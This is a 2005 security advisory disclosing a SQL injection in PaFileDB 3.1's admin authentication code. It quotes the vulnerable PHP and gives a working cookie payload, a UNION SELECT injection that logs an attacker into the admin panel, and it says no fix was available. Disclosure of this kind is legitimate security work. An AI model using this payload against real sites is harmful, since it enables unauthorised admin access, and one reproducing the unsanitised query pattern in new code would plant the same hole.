<<< Date Index >>>     <<< Thread Index >>>

PaFileDB 3.1 - SQL-Injection



[SePro Advisory #5] PaFileDB 3.1 - SQL-Injection
===========================================================

Vendor:  PhpArena
URL:     http://www.phparena.net/
Date:    17.08.05

App.:    PaFileDB
Version: 3.1
Type:    SQL-Injection
Risc:    High



Credits:
================================
Newangels & security-project.org Team
Vulnerability discovered by deluxe89
Writeup by Astovidatu


Description:
================================
paFileDB is designed to allow webmasters have a database of files for download 
on their site. 

See [1] for a detailed description.



SQL-Injection:
================================
The vulnerable file: '/includes/admin/auth.php'

Pre-conditions:
- magic_quotes_gpc Off
- $authmethod = cookies


Vulnerable Code:
[code]
if ($authmethod == "cookies") {
        echo "authmethod = cookies\n";
        $cdata = explode("|", $pafiledbcookie);
        $ip = $cdata[0];
        $user = $cdata[1];
        $pass = $cdata[2];
        echo "ip = $ip, user = $user, pass = $pass\n";
}
if (!empty($user)) {
        echo "user not emtpy\n";
        $admin = $pafiledb_sql->query($db, "SELECT * FROM $db[prefix]_admin 
WHERE admin_username = '$user'", 1);
        $adminip = getenv ("REMOTE_ADDR");
        $md5ip = md5($adminip);
        if ($pass == $admin[admin_password] && $md5ip == $ip) {
                $logged = 1;
        }
} else {
        echo "user empty\n";
        $logged = 0;
}
[/code]


SQL-Injection through $user.

In order to exploit the issue, an attacker needs to construct a malformed 
cookie:
Name: pafiledbcookie
Content: [MD5 IP]%7CaG'+union+select+1,2,'pass',4,5/*%7Cpass

"/pafiledb.php?action=admin": open and your logged in as admin in the ACP.



Solution:
================================
There is no solution yet.




[1] http://www.phparena.net/scripts.php?script=pafiledb